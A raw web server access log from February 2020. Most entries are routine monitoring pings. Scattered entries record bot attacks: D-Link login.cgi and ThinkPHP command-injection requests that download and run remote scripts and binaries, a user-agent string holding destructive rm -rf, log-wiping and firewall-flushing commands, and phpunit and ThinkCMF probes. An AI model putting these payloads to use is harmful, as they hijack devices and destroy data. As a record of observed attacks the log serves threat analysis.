212.91.246.72 - - [24/Feb/2020:07:30:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:07:31:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:07:32:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.220.189 - - [24/Feb/2020:07:32:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
212.91.246.72 - - [24/Feb/2020:07:33:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:07:34:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:07:35:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:07:36:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:07:37:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:07:38:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
73.32.140.239 - - [24/Feb/2020:07:39:08 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
181.92.45.8 - - [24/Feb/2020:07:39:24 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [24/Feb/2020:07:39:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.220.189 - - [24/Feb/2020:07:39:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
212.91.246.72 - - [24/Feb/2020:07:40:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.220.189 - - [24/Feb/2020:07:41:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
212.91.246.72 - - [24/Feb/2020:07:41:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:07:42:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:07:43:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:07:44:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:07:45:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:07:46:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.220.189 - - [24/Feb/2020:07:46:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
212.91.246.72 - - [24/Feb/2020:07:47:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:07:48:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.2.236.202 - - [24/Feb/2020:07:48:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
45.143.220.189 - - [24/Feb/2020:07:48:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
190.122.155.222 - - [24/Feb/2020:07:48:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
5.101.0.209 - - [24/Feb/2020:07:48:57 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [24/Feb/2020:07:48:57 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [24/Feb/2020:07:49:24 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:07:49:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [24/Feb/2020:07:49:30 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [24/Feb/2020:07:49:30 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [24/Feb/2020:07:49:31 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [24/Feb/2020:07:49:31 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
73.85.123.95 - - [24/Feb/2020:07:49:33 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
5.101.0.209 - - [24/Feb/2020:07:49:33 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [24/Feb/2020:07:49:34 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [24/Feb/2020:07:49:40 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [24/Feb/2020:07:49:58 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [24/Feb/2020:07:49:59 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [24/Feb/2020:07:50:01 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [24/Feb/2020:07:50:16 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [24/Feb/2020:07:50:16 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [24/Feb/2020:07:50:19 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:07:50:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:07:51:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.220.189 - - [24/Feb/2020:07:52:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
212.91.246.72 - - [24/Feb/2020:07:52:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:07:53:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:07:54:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:07:55:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:07:56:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:07:57:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:07:58:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.220.189 - - [24/Feb/2020:07:58:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
210.7.24.14 - - [24/Feb/2020:07:58:51 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [24/Feb/2020:07:59:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:08:00:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.209.247.226 - - [24/Feb/2020:08:01:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [24/Feb/2020:08:01:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:08:02:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:08:03:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.185.105.50 - - [24/Feb/2020:08:04:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [24/Feb/2020:08:04:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:08:05:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.235.209.136 - - [24/Feb/2020:08:06:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:08:06:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:08:07:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:08:08:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.14.120.188 - - [24/Feb/2020:08:08:50 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
5.101.0.209 - - [24/Feb/2020:08:09:26 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:08:09:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [24/Feb/2020:08:09:28 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:08:10:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [24/Feb/2020:08:10:56 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:08:11:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [24/Feb/2020:08:11:50 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:08:12:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:08:13:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:08:14:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:08:15:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:08:16:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:08:17:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:08:18:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:08:19:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:08:20:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:08:21:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:08:22:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:08:23:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:08:24:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:08:25:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:08:26:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:08:27:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:08:28:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
71.58.37.151 - - [24/Feb/2020:08:28:30 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [24/Feb/2020:08:29:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:08:30:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:08:31:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.62.31.205 - - [24/Feb/2020:08:31:57 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [24/Feb/2020:08:32:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:08:33:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:08:34:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:08:35:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:08:36:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:08:37:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:08:38:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:08:39:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:08:40:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
191.209.102.59 - - [24/Feb/2020:08:41:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [24/Feb/2020:08:41:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:08:42:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:08:43:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:08:44:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:08:45:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:08:46:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.122.149.220 - - [24/Feb/2020:08:47:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:08:47:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.74.176.18 - - [24/Feb/2020:08:47:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
37.150.29.153 - - [24/Feb/2020:08:47:58 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [24/Feb/2020:08:48:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:08:49:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:08:50:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:08:51:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:08:52:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:08:53:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:08:54:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.220.189 - - [24/Feb/2020:08:55:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
212.91.246.72 - - [24/Feb/2020:08:55:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:08:56:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:08:57:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:08:58:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:08:59:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:09:00:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:09:01:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:09:02:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
87.103.115.142 - - [24/Feb/2020:09:02:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [24/Feb/2020:09:03:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:09:04:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:09:05:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
191.100.26.241 - - [24/Feb/2020:09:06:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
